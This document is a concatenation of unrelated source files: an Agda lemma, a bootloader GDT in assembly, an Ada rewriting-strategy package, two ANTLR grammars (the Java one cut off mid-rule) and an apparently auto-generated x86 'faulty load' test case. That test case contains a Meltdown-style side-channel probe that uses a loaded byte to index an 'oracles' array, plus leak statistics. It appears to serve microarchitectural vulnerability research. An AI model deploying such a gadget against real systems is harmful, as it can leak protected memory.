lemma-sorted⊕ : {ι : Size}{x : A}{xs : SList A {ι}} → xs ≤* x → Sorted (unsize A xs) → Sorted (unsize A (_⊕_ A xs (x ∙ snil)))
lemma-sorted⊕ {x = x} {xs = snil} _ nils = singls x
lemma-sorted⊕ {x = x} {xs = y ∙ snil} (lecx y≤x _) (singls .y) = conss y≤x (singls x)
lemma-sorted⊕ {xs = y ∙ (z ∙ ys)} (lecx y≤x zys≤*x) (conss y≤z szys) = conss y≤z (lemma-sorted⊕ zys≤*x szys)
lemma-⊕≤* : {ι : Size}{x t : A}{xs : SList A {ι}} → x ≤ t → xs ≤* t → (_⊕_ A xs (x ∙ snil)) ≤* t
lemma-⊕≤* x≤t lenx = lecx x≤t lenx
lemma-⊕≤* x≤t (lecx y≤t ys≤*t) = lecx y≤t (lemma-⊕≤* x≤t ys≤*t)
|
src/boot/gdt.asm | RoyShulman/OS | 1 | 102380 | <gh_stars>1-10
[bits 16]
; GDT - Global Descriptor Table
; We define a basic flat model in which the sectors overlap and cover all 4GB of addressable memory
gdt_start:
gdt_null: ; The mandatory null descriptor
dd 0x0
dd 0x0
gdt_code: ; The code segment descriptor
; Base = 0x0, Limit = 0xfffff
; 1st flag = (present)1 (privilege)00 (descriptor type)1 -> 1001b
; type flag = (code)1 (conforming)0 (readable)1 (accessed)0 -> 1010b
; 2rd flag = (granularity)1 (32bit)1 (64bit)0 (avl)0 -> 1100b
dw 0xffff ; Limit (bits 0-15)
dw 0x0 ; Base (bits 0-15)
db 0x0 ; Base (bits 16-23)
db 10011010b ; 1st flag, type flags
db 11001111b ; Second flag, Limit (bits 16-19)
db 0x0 ; Base (bits 24-31)
gdt_data: ; The data segment descriptor
; Same as the code segment except for the type flags
; type flags = (code)0 (expand down)0 (writeable)1 (accessed)0 -> 0010b
dw 0xffff ; Limit (bits 0-15)
dw 0x0 ; Base (bits 0-15)
db 0x0 ; Base(bits 16-23)
db 10010010b ; 1st flag, type flags(for data)
db 11001111b ; Second flag, Limit(bits 16-19)
db 0x0 ; Base (bits 24-31)
gdt_end: ; This is to let the assembler calculate the size of the gdt for the gdt descriptor
gdt_descriptor:
dw gdt_end - gdt_start - 1 ; Size of our GDT, one less than the true size
dd gdt_start ; Start address of our GDT
; Useful constants to put in the segment registers so that the CPU knows what segment we want to use
; 0x0 for null segment
; 0x8 for code segment
; 0x10 for data segment
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
|
src/tom/library/sl/ada/omegastrategy.adb | rewriting/tom | 36 | 23499 | with VisitFailurePackage, VisitablePackage, EnvironmentPackage;
use VisitFailurePackage, VisitablePackage, EnvironmentPackage;
package body OmegaStrategy is
----------------------------------------------------------------------------
-- Object implementation
----------------------------------------------------------------------------
overriding
function toString(o: Omega) return String is
begin
return "Omega()";
end;
----------------------------------------------------------------------------
-- Strategy implementation
----------------------------------------------------------------------------
overriding
function visitLight(str:access Omega; any: ObjectPtr; i: access Introspector'Class) return ObjectPtr is
sptr : StrategyPtr := StrategyPtr(str.arguments(ARG));
begin
if str.indexPosition = 0 then
return StrategyPackage.visitLight(sptr, any, i);
elsif str.indexPosition > 0 and then str.indexPosition <= IntrospectorPackage.getChildCount(i, any) then
declare
childNumber : Integer := str.indexPosition - 1;
optr : ObjectPtr := IntrospectorPackage.getChildAt(i, any, childNumber) ;
newChild : ObjectPtr := StrategyPackage.visitLight( StrategyPtr(str.arguments(ARG)) , optr , i);
begin
return IntrospectorPackage.setChildAt(i, any, childNumber, newChild);
end;
else
raise VisitFailure;
end if;
end;
overriding
function visit(str: access Omega; i: access Introspector'Class) return Integer is
sptr : StrategyPtr := StrategyPtr(str.arguments(ARG));
status : Integer;
begin
if str.indexPosition = 0 then
return StrategyPackage.visit(sptr, i);
elsif str.indexPosition > 0 and then str.indexPosition <= IntrospectorPackage.getChildCount(i, getSubject(getEnvironment(str.all).all)) then
down(str.env.all, str.indexPosition);
status := visit( StrategyPtr(str.arguments(ARG)), i);
up ( str.env.all );
return status;
else
return EnvironmentPackage.FAILURE;
end if;
end;
----------------------------------------------------------------------------
procedure makeOmega(om : in out Omega; ip: Integer; v: StrategyPtr) is
begin
initSubterm(om, v);
om.indexPosition := ip;
end;
function newOmega(ip: Integer; v: StrategyPtr) return StrategyPtr is
ret : StrategyPtr := new Omega;
begin
makeOmega(Omega(ret.all), ip, v);
return ret;
end;
function getPos(om : Omega) return Integer is
begin
return om.indexPosition;
end;
----------------------------------------------------------------------------
end OmegaStrategy;
|
Transynther/x86/_processed/AVXALIGN/_st_un_4k_sm_/i7-7700_9_0x48.log_21829_866.asm | ljhsiun2/medusa | 9 | 17105 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x387e, %rsi
lea addresses_normal_ht+0x2ebe, %rdi
clflush (%rsi)
nop
nop
nop
nop
mfence
mov $37, %rcx
rep movsl
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x6d62, %r9
nop
nop
nop
nop
nop
inc %r14
movb (%r9), %dl
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_WT_ht+0x3cde, %rdx
nop
nop
xor %r14, %r14
movw $0x6162, (%rdx)
lfence
lea addresses_normal_ht+0x1991a, %rbp
and $17505, %r14
movb (%rbp), %dl
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0x74fe, %rbp
nop
nop
nop
nop
xor %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
and $0xffffffffffffffc0, %rbp
movaps %xmm5, (%rbp)
nop
inc %r9
lea addresses_WC_ht+0x4936, %rsi
lea addresses_UC_ht+0x9027, %rdi
nop
nop
nop
and $24040, %rbp
mov $4, %rcx
rep movsq
nop
nop
nop
nop
sub $33139, %r14
lea addresses_UC_ht+0x2c9e, %rsi
lea addresses_normal_ht+0xf87e, %rdi
dec %r12
mov $38, %rcx
rep movsl
nop
nop
nop
nop
dec %r14
lea addresses_WC_ht+0x1692e, %rcx
nop
nop
nop
nop
nop
sub %rdx, %rdx
vmovups (%rcx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rsi
nop
nop
nop
dec %rdx
lea addresses_WT_ht+0x96ae, %rsi
lea addresses_D_ht+0x1347e, %rdi
clflush (%rsi)
sub $54642, %r14
mov $23, %rcx
rep movsb
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x1404e, %r9
and %rcx, %rcx
vmovups (%r9), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r14
nop
sub %r9, %r9
lea addresses_D_ht+0x1a5de, %r14
nop
nop
xor %rsi, %rsi
mov (%r14), %cx
xor $49694, %rcx
lea addresses_D_ht+0x159fe, %r9
nop
nop
nop
nop
cmp %rdx, %rdx
vmovups (%r9), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r14
nop
nop
and $1237, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rbx
push %rdx
// Load
mov $0xbe, %rbx
nop
nop
inc %r8
movb (%rbx), %r14b
nop
sub %rbx, %rbx
// Store
lea addresses_UC+0x3919, %rdx
nop
nop
nop
inc %rbp
mov $0x5152535455565758, %r14
movq %r14, (%rdx)
nop
nop
nop
nop
add %rbp, %rbp
// Store
lea addresses_UC+0x10c7e, %r9
nop
add $27638, %rbp
movw $0x5152, (%r9)
sub $56591, %rbx
// Store
lea addresses_D+0x1f424, %r9
and %rbp, %rbp
movw $0x5152, (%r9)
nop
nop
cmp $45064, %rbx
// Load
lea addresses_WT+0xa37e, %r15
nop
dec %r9
mov (%r15), %dx
nop
cmp $44666, %r15
// Load
lea addresses_normal+0x1bcbe, %r14
nop
nop
nop
nop
dec %r8
mov (%r14), %rbp
nop
nop
nop
nop
nop
sub %r15, %r15
// Store
lea addresses_WC+0x11c7e, %r9
nop
nop
nop
nop
sub %r15, %r15
movl $0x51525354, (%r9)
nop
add $10521, %r15
// Faulty Load
lea addresses_UC+0x10c7e, %rbx
sub %r15, %r15
mov (%rbx), %r14
lea oracles, %r9
and $0xff, %r14
shlq $12, %r14
mov (%r9,%r14,1), %r14
pop %rdx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'52': 66, '0a': 1, '7a': 1, '7c': 1, '96': 1, '54': 21758, '74': 1}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 52 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 52 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
core/support/src/main/antlr/au/com/dius/pact/core/support/generators/expressions/TimeExpression.g4 | kellychen103/pact-jvm | 0 | 1553 | <filename>core/support/src/main/antlr/au/com/dius/pact/core/support/generators/expressions/TimeExpression.g4
grammar TimeExpression;
@header {
package au.com.dius.pact.core.support.generators.expressions;
}
expression returns [ TimeBase timeBase = TimeBase.Now.INSTANCE, List<Adjustment<TimeOffsetType>> adj = new ArrayList<>() ] : ( base { $timeBase = $base.t; }
| op duration { if ($duration.d != null) $adj.add($duration.d.withOperation($op.o)); } ( op duration { if ($duration.d != null) $adj.add($duration.d.withOperation($op.o)); } )*
| base { $timeBase = $base.t; } ( op duration { if ($duration.d != null) $adj.add($duration.d.withOperation($op.o)); } )*
| 'next' offset { $adj.add(new Adjustment($offset.type, $offset.val, Operation.PLUS)); }
| 'next' offset { $adj.add(new Adjustment($offset.type, $offset.val, Operation.PLUS)); } ( op duration {
if ($duration.d != null) $adj.add($duration.d.withOperation($op.o));
} )*
| 'last' offset { $adj.add(new Adjustment($offset.type, $offset.val, Operation.MINUS)); }
| 'last' offset { $adj.add(new Adjustment($offset.type, $offset.val, Operation.MINUS)); } ( op duration {
if ($duration.d != null) $adj.add($duration.d.withOperation($op.o));
} )*
) EOF
;
base returns [ TimeBase t ] : 'now' { $t = TimeBase.Now.INSTANCE; }
| 'midnight' { $t = TimeBase.Midnight.INSTANCE; }
| 'noon' { $t = TimeBase.Noon.INSTANCE; }
| INT oclock { $t = TimeBase.of($INT.int, $oclock.h); }
;
oclock returns [ ClockHour h ] : 'o\'clock' 'am' { $h = ClockHour.AM; }
| 'o\'clock' 'pm' { $h = ClockHour.PM; }
| 'o\'clock' { $h = ClockHour.NEXT; }
;
duration returns [ Adjustment<TimeOffsetType> d ] : INT durationType { $d = new Adjustment<TimeOffsetType>($durationType.type, $INT.int); } ;
durationType returns [ TimeOffsetType type ] : 'hour' { $type = TimeOffsetType.HOUR; }
| HOURS { $type = TimeOffsetType.HOUR; }
| 'minute' { $type = TimeOffsetType.MINUTE; }
| MINUTES { $type = TimeOffsetType.MINUTE; }
| 'second' { $type = TimeOffsetType.SECOND; }
| SECONDS { $type = TimeOffsetType.SECOND; }
| 'millisecond' { $type = TimeOffsetType.MILLISECOND; }
| MILLISECONDS { $type = TimeOffsetType.MILLISECOND; }
;
op returns [ Operation o ] : '+' { $o = Operation.PLUS; }
| '-' { $o = Operation.MINUS; }
;
offset returns [ TimeOffsetType type, int val = 1 ] : 'hour' { $type = TimeOffsetType.HOUR; }
| 'minute' { $type = TimeOffsetType.MINUTE; }
| 'second' { $type = TimeOffsetType.SECOND; }
| 'millisecond' { $type = TimeOffsetType.MILLISECOND; }
;
INT : DIGIT+ ;
fragment DIGIT : [0-9] ;
WS : [ \t\n\r] + -> skip ;
HOURS : 'hour' 's'? ;
SECONDS : 'second' 's'? ;
MINUTES : 'minute' 's'? ;
MILLISECONDS : 'millisecond' 's'? ;
|
java/Java7.g4 | helipilot50/language-parsers | 4 | 4069 | /*
[The "BSD licence"]
Copyright (c) 2012 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/** Java 7 grammar for Antlr 4
Based on Terence Parr's Java 6 grammar at
https://github.com/antlr/grammars-v4/tree/master/java
with changes from the Java 7 Language Specification
http://docs.oracle.com/javase/specs/jls/se7/jls7.pdf
but with my own refactorings.
*/
grammar Java7;
/* the keywords enum and assert have compiler options to allow their use as
identifiers instead. This presents a problem best solved with
implementation dependent code. I have commented out a Java solution.
*/
// @lexer::members {
// protected boolean enumIsKeyword = true; // A subclass of Java7Parser.java can
// protected boolean assertIsKeyword = true;// accept parameters and override these
// }
/*******************************************************************************
Parser section -
*******************************************************************************/
compilationUnit
: packageDeclaration? importDeclaration* typeDeclaration* EOF
;
packageDeclaration
: annotation* 'package' qualifiedIdentifier ';'
;
importDeclaration
: 'import' 'static'? qualifiedIdentifier ('.' '*')? ';'
;
typeDeclaration
: classOrInterfaceDeclaration
| ';'
;
classOrInterfaceDeclaration
: modifier* (classDeclaration | interfaceDeclaration)
;
classDeclaration
: normalClassDeclaration
| enumDeclaration
;
normalClassDeclaration
: 'class' Identifier typeParameters?
('extends' typeRef)?
('implements' typeList)?
classBody
;
typeParameters
: '<' typeParameter (',' typeParameter)* '>'
;
typeParameter
: Identifier ('extends' bound)?
;
bound
: classOrInterfaceType ('&' classOrInterfaceType)*
;
enumDeclaration
: ENUM Identifier ('implements' typeList)?
'{' enumConstants?
( ';' classBodyDeclaration* )?
'}'
;
enumConstants
// The comma after the last enumConstant is optional.
// Oddly, there may also be a comma without any enumConstants
: enumConstant (',' enumConstant)* ','?
| ','
;
interfaceDeclaration
: normalInterfaceDeclaration
| annotationTypeDeclaration
;
normalInterfaceDeclaration
: 'interface' Identifier typeParameters? ('extends' typeList)? interfaceBody
;
classBody
: '{' classBodyDeclaration* '}'
;
interfaceBody
: '{'
( modifier* interfaceMemberDecl | ';' )*
'}'
;
classBodyDeclaration
: ';'
| modifier* memberDecl
| 'static'? block
;
memberDecl
: methodDeclaration // generic and void methods are here, too
| fieldDeclaration
| constructorDeclaration
| interfaceDeclaration
| classDeclaration
;
fieldDeclaration
: typeRef variableDeclarators ';'
;
block
: '{' blockStatement* '}'
;
blockStatement
: localVariableDeclaration ';'
| classOrInterfaceDeclaration
| statement
;
enumConstant
: annotation* Identifier arguments? classBody?
;
typeList
: classOrInterfaceType (',' classOrInterfaceType)*
;
typeArguments
: '<' typeArgument (',' typeArgument)* '>'
;
typeArgument
: classOrInterfaceType
| '?' (('extends' | 'super') classOrInterfaceType)?
;
interfaceMemberDecl
: interfaceMethodOrFieldDecl
| interfaceGenericMethodDecl
| 'void' Identifier voidInterfaceMethodDeclaratorRest
| interfaceDeclaration
| classDeclaration
;
/** Allows brackets after parameters for backwards compatibility only; do not use. */
methodDeclaration
: typeParameters? (typeRef | 'void')
Identifier formalParameters ('[' ']')* ('throws' qualifiedIdentifierList)?
( methodBody
| ';'
)
;
constructorDeclaration
: typeParameters? Identifier formalParameters ('throws' qualifiedIdentifierList)?
'{'
explicitConstructorInvocation?
blockStatement*
'}'
;
variableModifier
: 'final'
| annotation
;
interfaceMethodOrFieldDecl
: typeRef Identifier interfaceMethodOrFieldRest
;
interfaceMethodOrFieldRest
: constantDeclaratorsRest ';'
| interfaceMethodDeclaratorRest
;
interfaceMethodDeclaratorRest
: formalParameters ('[' ']')* ('throws' qualifiedIdentifierList)? ';'
;
interfaceGenericMethodDecl
: typeParameters (typeRef | 'void') Identifier
interfaceMethodDeclaratorRest
;
voidInterfaceMethodDeclaratorRest
: formalParameters ('throws' qualifiedIdentifierList)? ';'
;
constantDeclarator
: Identifier constantDeclaratorRest
;
variableDeclarators
: variableDeclarator (',' variableDeclarator)*
;
variableDeclarator
: variableDeclaratorId ('=' variableInitializer)?
;
constantDeclaratorsRest
: constantDeclaratorRest (',' constantDeclarator)*
;
constantDeclaratorRest
: ('[' ']')* '=' variableInitializer
;
variableDeclaratorId
: Identifier ('[' ']')*
;
variableInitializer
: arrayInitializer
| expression
;
arrayInitializer
: '{' ( variableInitializer (',' variableInitializer)* (',')?
)?
'}'
;
modifier
: annotation
| 'public'
| 'protected'
| 'private'
| 'static'
| 'abstract'
| 'final' // not for interface or annotation declarations
| 'native'
| 'synchronized'
| 'transient'
| 'volatile'
| 'strictfp'
;
packageOrTypeName
: qualifiedIdentifier
;
enumConstantName
: Identifier
;
typeName
: qualifiedIdentifier
;
typeRef
: classOrInterfaceType ('[' ']')*
| primitiveType ('[' ']')*
;
/** classOrInterfaceType is not used in the Java 7 Language Specification. We use
it as a substitute name for the ReferenceType that is defined in the Syntax
section (Chapter 18, p. 593). The reason that we do not just use the rule name
referenceType instead of classOrInterfaceType is that elsewhere in the
Java 7 Reference (topic 4.3, p.52), ReferenceType is defined differently.
We are doing our best here to avoid confusion.
*/
classOrInterfaceType
: Identifier typeArguments? ( '.' Identifier typeArguments? )*
;
primitiveType
: 'boolean'
| 'char'
| 'byte'
| 'short'
| 'int'
| 'long'
| 'float'
| 'double'
;
qualifiedIdentifierList
: qualifiedIdentifier (',' qualifiedIdentifier)*
;
formalParameters
: '(' formalParameterDeclarations? ')'
;
formalParameterDeclarations
: variableModifier* typeRef formalParameterVariables
;
formalParameterVariables
: '...' variableDeclaratorId // variable-arity parameter must be the last one
| variableDeclaratorId (',' formalParameterDeclarations)?
;
methodBody
: block
;
explicitConstructorInvocation
: nonWildcardTypeArguments? ('this' | 'super') arguments ';'
| primary '.' nonWildcardTypeArguments? 'super' arguments ';'
;
qualifiedIdentifier
: Identifier ('.' Identifier)*
;
literal
: integerLiteral
| FloatingPointLiteral
| CharacterLiteral
| StringLiteral
| booleanLiteral
| 'null'
;
integerLiteral
: HexLiteral
| OctalLiteral
| DecimalLiteral
| BinaryLiteral
;
booleanLiteral
: 'true'
| 'false'
;
// ANNOTATIONS
annotation
: '@' annotationName ( '(' ( elementValuePairs | elementValue )? ')' )?
;
annotationName
: Identifier ('.' Identifier)*
;
elementValuePairs
: elementValuePair (',' elementValuePair)*
;
elementValuePair
: Identifier '=' elementValue
;
elementValue
: expression
| annotation
| elementValueArrayInitializer
;
elementValueArrayInitializer
: '{' (elementValue (',' elementValue)*)? (',')? '}'
;
annotationTypeDeclaration
: '@' 'interface' Identifier
'{'
(modifier* annotationTypeElement)*
'}'
;
annotationTypeElement
: typeRef (annotationMethod | variableDeclarators) ';'
| classDeclaration ';'?
| normalInterfaceDeclaration ';'?
| enumDeclaration ';'?
| annotationTypeDeclaration ';'?
;
annotationMethod
: Identifier '(' ')' defaultValue?
;
defaultValue
: 'default' elementValue
;
// STATEMENTS / BLOCKS
localVariableDeclaration
: variableModifier* typeRef variableDeclarators
;
statement
: block
| ASSERT expression (':' expression)? ';'
| 'if' parExpression statement ('else' statement)?
| 'for' '(' forControl ')' statement
| 'while' parExpression statement
| 'do' statement 'while' parExpression ';'
| tryStatement
| 'switch' parExpression switchBlock
| 'synchronized' parExpression block
| 'return' expression? ';'
| 'throw' expression ';'
| 'break' Identifier? ';'
| 'continue' Identifier? ';'
| ';'
| statementExpression ';'
| Identifier ':' statement
;
tryStatement
// must contain at least one resource, catch, or finally
: 'try' '(' resources ')' block catchClause* ('finally' block)?
| 'try' block ( catchClause+ ('finally' block)?
| 'finally' block
)
;
catchClause
: 'catch' '(' variableModifier* typeRef ('|' typeRef)* Identifier ')' block
;
resources
// Semicolon may be ommited for last resource
: resource (';' resource)* ';'?
;
resource
: variableModifier* classOrInterfaceType variableDeclaratorId '=' expression
;
switchBlock
: '{' switchBlockStatementGroup* switchLabel* '}'
;
switchBlockStatementGroup
: switchLabel+ blockStatement*
;
switchLabel
: 'case' constantExpression ':'
| 'case' enumConstantName ':'
| 'default' ':'
;
forControl
: enhancedForControl
| forInit? ';' expression? ';' forUpdate?
;
forInit
: localVariableDeclaration
| expressionList
;
enhancedForControl
: variableModifier* typeRef Identifier ':' expression
;
forUpdate
: expressionList
;
// EXPRESSIONS
parExpression
: '(' expression ')'
;
expressionList
: expression (',' expression)*
;
statementExpression
: expression
;
constantExpression
: expression
;
expression
: primary
| expression '.' Identifier
| expression '.' 'this'
| expression '.' 'super' '(' expressionList? ')'
| expression '.' 'new' Identifier '(' expressionList? ')'
| expression '.' 'super' '.' Identifier arguments?
| expression '.' explicitGenericInvocation
| expression '[' expression ']'
| expression '(' expressionList? ')'
| expression ('++' | '--')
| ('+'|'-'|'++'|'--') expression
| ('~'|'!') expression
| '(' typeRef ')' expression
| 'new' creator
| expression ('*'|'/'|'%') expression
| expression ('+'|'-') expression
| expression ('<' '<' | '>' '>' '>' | '>' '>') expression
| expression ('<' '=' | '>' '=' | '>' | '<') expression
| expression 'instanceof' typeRef
| expression ('==' | '!=') expression
| expression '&' expression
| expression '^' expression
| expression '|' expression
| expression '&&' expression
| expression '||' expression
| expression '?' expression ':' expression
| expression
( '^=' <assoc=right>
| '+=' <assoc=right>
| '-=' <assoc=right>
| '*=' <assoc=right>
| '/=' <assoc=right>
| '&=' <assoc=right>
| '|=' <assoc=right>
| '=' <assoc=right>
| '>' '>' '=' <assoc=right>
| '>' '>' '>' '=' <assoc=right>
| '<' '<' '=' <assoc=right>
| '%=' <assoc=right>
)
expression
;
primary
: '(' expression ')'
| 'this'
| 'super'
| literal
| Identifier
| typeRef '.' 'class'
| 'void' '.' 'class'
;
creator
: nonWildcardTypeArguments createdName classCreatorRest
| createdName (arrayCreatorRest | classCreatorRest)
;
createdName
: primitiveType
| // classOrInterfaceType but with possible <>
Identifier (typeArguments | '<' '>')? ('.' Identifier (typeArguments | '<' '>')? )*
;
innerCreator
: (nonWildcardTypeArguments | '<' '>')? Identifier classCreatorRest
;
explicitGenericInvocation
